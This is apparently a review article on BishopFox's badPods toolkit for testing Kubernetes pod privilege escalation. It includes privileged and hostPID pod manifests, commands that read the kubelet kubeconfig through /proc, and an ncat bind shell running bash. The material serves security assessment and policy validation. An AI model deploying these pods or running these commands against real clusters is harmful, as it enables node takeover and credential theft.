Back to Articles

badPods: The Kubernetes Security Testing Toolkit That Maps Every Pod Privilege Escalation Path

[ View on GitHub ]

badPods: The Kubernetes Security Testing Toolkit That Maps Every Pod Privilege Escalation Path

Hook

A Kubernetes pod with just hostPID=true and no other privileges can give you root access to every process on the node—including the kubelet's credentials. Most security teams don't realize this until it's demonstrated.

Context

Kubernetes security discussions often focus on preventing privileged pods, but the attack surface is far more nuanced. A pod doesn't need the privileged flag to compromise a cluster—attributes like hostPath, hostPID, hostNetwork, and hostIPC each create distinct privilege escalation vectors that are frequently misunderstood or overlooked in security policies. The challenge for security teams isn't just knowing these attributes exist, but understanding how they combine with different Kubernetes resource types (Deployments, DaemonSets, Jobs) and how to demonstrate their real-world impact to justify implementing Pod Security Standards or admission controllers.

BishopFox created badPods to systematically map this attack surface. Rather than writing ad-hoc manifests during each penetration test, they built a comprehensive matrix: 8 privilege escalation scenarios × 8 resource types × 2 access methods, resulting in 128 pre-configured manifests. Each one is ready to deploy and comes with post-exploitation guidance specific to that privilege combination. This isn't just a pentesting tool—it's a security education framework that forces organizations to confront exactly which pod attributes their policies allow and what attackers can do with them.

Technical Insight

The badPods architecture is elegantly simple: a directory structure organized by privilege scenario, with each scenario containing manifests for every Kubernetes resource type that can spawn pods. Let's examine the hostPID scenario to understand how a seemingly innocuous permission becomes a node takeover.

The hostPID attribute allows a pod to see all processes on the host node, including those in other containers and the host system itself. Here's the core manifest from SCENARIO-2-hostpid-exec/pod/hostpid-exec-pod.yaml:

apiVersion: v1
kind: Pod
metadata:
  name: hostpid-exec-pod
  labels:
    app: pentest
spec:
  hostPID: true
  containers:
  - name: hostpid-pod
    image: alpine:latest
    command: ["/bin/sleep", "999999"]
    securityContext:
      runAsUser: 1000

Notice what's missing: no privileged flag, no hostPath mounts, no special capabilities. Just hostPID: true and a standard Alpine container running as a non-root user (UID 1000). Yet the accompanying exploitation guide shows how this becomes root access:

# Once kubectl exec'd into the pod
ps aux  # You can see ALL host processes

# Find processes running as root with interesting file descriptors
ls -la /proc/*/fd/ 2>/dev/null | grep -E 'kubelet|containerd'

# Access the host filesystem through proc
ls -la /proc/1/root/  # Host root filesystem

# Read kubelet credentials
cat /proc/$(pidof kubelet)/root/var/lib/kubelet/kubeconfig

# Or inject into running processes via /proc/PID/mem

The genius of badPods is providing this same privilege demonstration across all resource types. Security teams often lock down Pod creation via RBAC but forget that users with Deployment or Job creation permissions can spawn pods with identical privileges. The repository includes hostpid-exec-deployment.yaml, hostpid-exec-job.yaml, hostpid-exec-cronjob.yaml—each achieving the same hostPID access through different controllers.

The second dimension—exec versus reverse shell—addresses real-world defensive measures. The exec variants assume kubectl exec access, but many hardened clusters restrict this via RBAC or network policies. The reverse shell variants solve this:

apiVersion: v1
kind: Pod
metadata:
  name: hostpid-revshell-pod
spec:
  hostPID: true
  containers:
  - name: hostpid-pod
    image: jonzeolla/ncat:latest
    command: ["/usr/bin/ncat"]
    args: ["-lvnp", "9001", "-e", "/bin/bash"]

This creates a listening reverse shell inside the pod, accessible if you can port-forward to it or if the pod network allows direct access. The ncat container is chosen specifically because it's minimal and commonly allowed by container registries.

The most valuable scenario is SCENARIO-1-everything-allowed, which combines hostNetwork, hostPID, hostIPC, and a permissive hostPath mount. This demonstrates the maximum blast radius:

spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  volumes:
  - name: noderoot
    hostPath:
      path: /
  containers:
  - name: everything-allowed-pod
    image: alpine:latest
    volumeMounts:
    - name: noderoot
      mountPath: /host
    securityContext:
      privileged: true

With this configuration, you have direct filesystem access via /host, can see all processes, share the host's network namespace (meaning you can bind to privileged ports and see all network traffic), and share IPC namespaces. The post-exploitation guide walks through extracting kubelet certificates from /host/var/lib/kubelet/pki, modifying systemd units, and accessing secrets from all pods on the node via their filesystem paths.

The repository's shell scripts automate deployment and cleanup. The deploy-all.sh script iterates through scenarios and applies manifests with proper labeling for easy removal, while cleanup-all.sh ensures no test resources persist in the cluster. This operational maturity—treating security testing as infrastructure code—is what makes badPods practical for regular validation of security policies.

Gotcha

The fundamental limitation of badPods is that it's a door-checker, not a lockpick. If your cluster has Pod Security Standards enforced at the restricted or baseline level, admission controllers like OPA Gatekeeper or Kyverno with security policies, or the deprecated PodSecurityPolicy admission controller, these manifests will be rejected before they ever create pods. This is by design—badPods validates whether your security controls work, but it won't help you bypass them. You need existing credentials with pod creation permissions (direct or indirect through Deployments, Jobs, etc.) and a cluster permissive enough to accept these configurations.

The educational value is also a double-edged sword. Each scenario's post-exploitation guide is detailed enough to teach the privilege escalation path, but it doesn't automate the exploitation. You'll need to manually execute commands, understand Linux process namespaces, and interpret what you find. Tools like Peirates offer automated post-compromise enumeration and exploitation, while badPods is more like a Proof-of-Concept generator. If you're testing dozens of clusters or need a full red team framework with credential harvesting, lateral movement, and persistence mechanisms, badPods is just the entry point. It excels at demonstrating why certain policies matter but stops short of being a comprehensive Kubernetes attack platform.

Verdict

Use badPods if you're conducting Kubernetes security assessments and need to quickly demonstrate the impact of permissive pod security configurations to development or security teams. It's invaluable for validating that your Pod Security Standards, OPA policies, or Kyverno rules actually block dangerous configurations, and for training teams on what different pod attributes enable. The comprehensive resource type coverage makes it essential for testing RBAC configurations that restrict Pod creation but allow Deployment or Job creation. Skip it if you need initial cluster access tooling, automated post-exploitation capabilities, or if you're working with already-hardened clusters where you know these configurations are blocked—at that point you need either vulnerability-specific exploits or application-layer attack tools. This is a demonstration and validation framework, not an exploitation platform, and its value lies in rapidly proving why Kubernetes security boundaries matter.

// ADD TO YOUR README
[![Featured on Starlog](https://starlog.is/api/badge/cybersecurity/bishopfox-badpods.svg)](https://starlog.is/api/badge-click/cybersecurity/bishopfox-badpods)